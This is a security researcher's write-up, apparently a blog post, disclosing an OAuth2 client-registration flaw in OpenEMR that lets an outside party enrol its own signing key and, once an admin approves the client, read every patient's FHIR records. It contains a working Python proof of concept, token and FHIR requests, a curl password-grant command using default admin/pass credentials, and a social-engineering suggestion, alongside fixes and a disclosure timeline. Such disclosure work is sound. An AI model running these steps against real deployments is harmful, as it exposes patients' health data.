Series
Breaking OpenEMR 8.0.0.3 (unpatched through 8.2.0) — A Five-Part Research Series — View all write-ups

TL;DR — Any unauthenticated attacker can register a malicious OAuth2 client with system-level FHIR scopes in OpenEMR 8.0.0.3, provide their own RSA keypair as the authentication credential, and — once an admin approves the client — obtain access tokens that grant read access to every patient record in the system.


WHY OPENEMR

OpenEMR is the most widely deployed open-source electronic health records (EHR) platform in the world. It runs in hospitals, private practices, community health centers, and free clinics across over 100 countries. The software handles some of the most sensitive data that exists: patient demographics, diagnostic histories, medications, lab results, clinical notes.

When I started looking at OpenEMR 8.0.0.3, I was specifically interested in the FHIR API layer. OpenEMR had invested heavily in SMART on FHIR compliance — a healthcare interoperability standard that defines how third-party applications request and receive access to patient data. OAuth2 is the foundation of that standard. And OAuth2, when implemented correctly, is solid. When implemented with a subtle trust boundary misconfiguration, it hands attackers a legitimate, signed, standards-compliant path to every patient record.

This is the story of how I found that misconfiguration, and what I could do with it.


THE ATTACK SURFACE I WAS LOOKING FOR

Before touching the live application, I started with the source code — specifically the OAuth2 authorization layer. The relevant controllers live in /src/RestControllers/AuthorizationController.php. The first thing I looked for was the client registration endpoint.

In OAuth2, dynamic client registration (defined in RFC 7591) allows third-party applications to register themselves with an authorization server without requiring a human administrator to manually provision credentials in advance. It is a legitimate, widely-used feature. The question is always: who gets to register?

I found the registration handler in AuthorizationController.php at lines 244–320. The function that processes incoming POST /oauth2/default/registration requests has no authentication check at the top. I read it twice. There was no middleware requiring a bearer token. No admin session check. No secret required to register.

This is, to be fair, technically compliant with RFC 7591. The RFC does not require authentication for client registration by default, though it explicitly permits requiring it. OpenEMR had chosen not to require it.

One deployment precondition is worth stating up front: OpenEMR's REST and FHIR APIs — and system-level scope support — are turned off in a stock install and must be enabled by an administrator (with the API disabled, the registration endpoint simply returns API is disabled). Enabling them is a routine step for any organization that offers SMART on FHIR interoperability, and it is the configuration this research assumes. Everything that follows applies once the FHIR API is enabled.

The next question was: what can an unauthenticated caller put in a registration request?

Looking at ClientRepository.php lines 75–96, I found the answer. The client_role field — which determines what scope of access the client can request — is derived from the application_type field in the registration request. Specifically:

if ($request->getParsedBody()['application_type'] === 'private') {
    $client_role = 'user';
} else {
    $client_role = 'patient';
}

A role of user allows requesting system/* scopes. Those are the scopes that grant access to data across all patients, not just one. And you could request them simply by setting application_type: "private" in your registration payload.

There was one catch: clients requesting system/* scopes have is_enabled set to 0 by default. They require manual admin approval before tokens can be issued. For patient/* scopes, though, approval is automatic — no admin action needed.

So I had two potential paths:

  1. Register with patient/* scopes — instant approval, immediate access to one patient's data
  2. Register with system/* scopes — requires admin approval, but then access to every patient's data

The system/* path is the interesting one. Let me explain why that admin approval step is not the blocker it sounds like.


THE JWKS TRUST PROBLEM

The real severity of this finding is not just that anyone can register. It is what they can register with.

When requesting tokens via the client_credentials grant (machine-to-machine, no user login required), the client proves its identity using a JWT assertion signed with an RSA private key. The public key is provided during registration as a JWKS (JSON Web Key Set). The authorization server stores the JWKS and uses it to validate the JWT assertions at token-issuance time.

The JWKS is part of the registration payload. Which means: an attacker who registers a client can supply their own RSA keypair as the authentication credential. The server stores the attacker's public key. The attacker retains the private key. When tokens are requested, the attacker signs the JWT with their private key, the server verifies it against the stored public key, and everything checks out. No secret is ever transmitted. No credential stored in the server can be stolen to impersonate the client.

This is actually by design — it is the RFC 7523 JWT Bearer grant flow, and it is cryptographically sound. The problem is that the enrollment of the public key requires no authorization. An attacker who registers and gets their client approved has essentially added their own credentials to the authorization server.

Combined with the system/* scope request, this becomes: a completely external attacker can register a client that, once approved, provides read access to every patient in the system — and the attacker's private key is the only credential needed to exercise that access.


DYNAMIC VALIDATION

I built a minimal Python proof of concept to confirm this end to end.

Step 1 — Generate RSA keypair and register the client:

private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub_numbers = private_key.public_key().public_numbers()

jwk = {
    "kty": "RSA",
    "n": b64url(pub_numbers.n),
    "e": b64url(pub_numbers.e),
    "kid": str(uuid.uuid4()),
    "use": "sig",
    "alg": "RS384"
}

reg_data = {
    "application_type": "private",
    "client_name": "PoCClient-" + uuid.uuid4().hex[:8],
    "grant_types": ["client_credentials"],
    "token_endpoint_auth_method": "private_key_jwt",
    "redirect_uris": ["http://localhost:9999/callback"],
    "scope": "system/Patient.read openid",
    "jwks": {"keys": [jwk]}
}

resp = requests.post(f"{TARGET}/oauth2/default/registration", json=reg_data)
client_id = resp.json()["client_id"]

The registration request requires no Authorization header. The server returned a 201 Created with a client_id. The client was in the system, disabled, awaiting approval.

Step 2 — Admin approval:

The client appears in the admin interface at /interface/smart/admin-client.php. Clicking the Enable button sends a GET request with action=edit/{client_id}/enable. In a real attack, this is the social engineering step — an attacker could send a plausible "please authorize our integration" email to a system administrator, wait for approval, and then activate the attack. In environments configured for automatic approval of all client types (not the default, but a documented configuration option), this step disappears entirely.

In testing, I authenticated as admin and triggered the approval via the same HTTP interface:

GET /interface/smart/admin-client.php?action=edit/{client_id}/enable&csrf_token={token}

Step 3 — Obtain a system-level access token:

claims = {
    "iss": client_id, "sub": client_id,
    "aud": "https://192.168.3.9:8443/oauth2/default/token",
    "jti": str(uuid.uuid4()),
    "iat": int(time.time()),
    "exp": int(time.time()) + 300
}

assertion = jwt.encode(claims, pem_private, algorithm="RS384", headers={"kid": kid})

token_resp = requests.post(token_endpoint, data={
    "grant_type": "client_credentials",
    "client_assertion_type": "urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
    "client_assertion": assertion,
    "scope": "system/Patient.read openid"
})

The server verified the JWT signature against the stored public key. The token was issued with system/Patient.read scope.

Step 4 — Access patient data:

GET /apis/default/fhir/Patient HTTP/1.1
Authorization: Bearer <access_token>

The response was a FHIR Bundle containing every patient record in the system. Name, date of birth, demographics. The first patient in the test system returned "SSRF TestPatient" (a test record) — but in a production deployment, this response would contain the entire patient census.


THE SCOPE OF THE IMPACT

It is worth being precise about what system/Patient.read actually grants. In FHIR R4, the system-level scope is not limited to the Patient resource. OpenEMR's SMART configuration (discoverable pre-auth at /apis/default/fhir/.well-known/smart-configuration) advertises over 200 supported scopes. With a system-level token, an attacker can query:

  • GET /apis/default/fhir/Patient — all patient demographics
  • GET /apis/default/fhir/Encounter — every clinical encounter
  • GET /apis/default/fhir/Observation — lab results and vital signs
  • GET /apis/default/fhir/MedicationRequest — medications
  • GET /apis/default/fhir/AllergyIntolerance — allergy records
  • GET /apis/default/fhir/Condition — diagnosis history

Each resource type is its own scope, but a determined attacker registers a client with system/* scopes once, gets it approved once, and then has read access to every resource type in the system until the client is revoked.

In HIPAA terms, this is a mass PHI/ePHI disclosure event. In practical terms, it is the entire patient database accessible via a standards-compliant API with no further exploitation needed.


VARIANT: THE SIMPLER PATH

During the same research session, I found a second exploitation path that does not require the client_credentials grant or admin approval at all. If the OAuth2 password grant is enabled (which it is in the default OpenEMR configuration and many real-world deployments), an attacker can:

  1. Register a client with patient/* scopes — auto-approved, no admin action needed
  2. Use the password grant with default credentials (admin/pass) to obtain a token immediately
curl -X POST "$TARGET/oauth2/default/token" \
  -u "${CLIENT_ID}:${CLIENT_SECRET}" \
  -d "grant_type=password&username=admin&password=pass&user_role=users&scope=openid+api:fhir"

The token includes api:fhir scope with admin privileges. This path is covered in Part 2 of this series.


THE FIX

The core issue is a missing authorization requirement on the registration endpoint. Three changes address it at different layers:

1. Require authentication for client registration. RFC 7591 permits requiring a bearer token (an initial access token) for registration. OpenEMR could issue these tokens only to vetted third parties, blocking anonymous registration entirely.

2. Enforce admin approval for all clients, not just system-scoped ones. Currently, patient/*-scoped clients are auto-approved. There is no legitimate reason for this — a user clicking "Authorize" in an OAuth2 flow already serves as the per-patient consent mechanism. The client itself should still require admin approval before it can participate in any flows.

3. Remove system-level scopes from the dynamic registration surface. If a client needs system/* scopes, that relationship should be established through a manual admin configuration process, not via an unauthenticated API call.


Update — Disclosure

This finding was identified during the same research as the rest of this OpenEMR 8.0.0.3 series. The two findings I considered most impactful — arbitrary SQL execution in backup.php (CVE-2026-39931) and the eval()-based RCE (CVE-2026-39932) — were reported to the OpenEMR maintainers on 2026-04-13 and closed without a remediation commitment: one as “out of scope for a CVE,” the other as a duplicate whose fix reached only the development branch months later and is still absent from any release. Given that response to the higher-severity issues, I am disclosing the remaining findings in this series publicly rather than through a coordinated process the same maintainers had already declined to act on. This finding was not separately reported to the maintainers; at my request, VulnCheck (CNA) has independently assigned it CVE-2026-67610.

DISCLOSURE TIMELINE

Date Event
2026-04-12 Vulnerability identified during independent security research on OpenEMR 8.0.0.3
2026-04-12 Dynamic validation confirmed: client registered, approved, system token obtained, FHIR Patient data accessed
2026-04-12 Vulnerability documented (High, CVSS 8.1)
2026-04-12 Remediation recommendations documented
2026-08-02 CVE ID requested from VulnCheck (CNA)
2026-08-02 Public disclosure — this write-up published
2026-08-03 CVE-2026-67610 assigned and published by VulnCheck (CNA)

OpenEMR is an open-source project available at https://github.com/openemr/openemr. These findings were demonstrated on OpenEMR 8.0.0.3 and confirmed still exploitable against the current release (8.2.0). All testing was performed as independent security research against a dedicated, self-hosted test instance. No production systems or real patient data were accessed or affected.

This is Part 1 of a five-part series on vulnerabilities in OpenEMR 8.0.0.3. Part 2 covers pre-authentication information disclosure and the OAuth2 password grant as a direct credential-to-token attack path. Part 3 covers the SQL import primitive that makes Parts 4 and 5 possible.

Jiva Security

Jiva Security offers web application penetration testing, source-assisted assessments, and dedicated vulnerability research. Every engagement is performed directly by me — no subcontractors, no account managers, no junior staff. Senior offensive expertise from first contact to final report.

Services Get in touch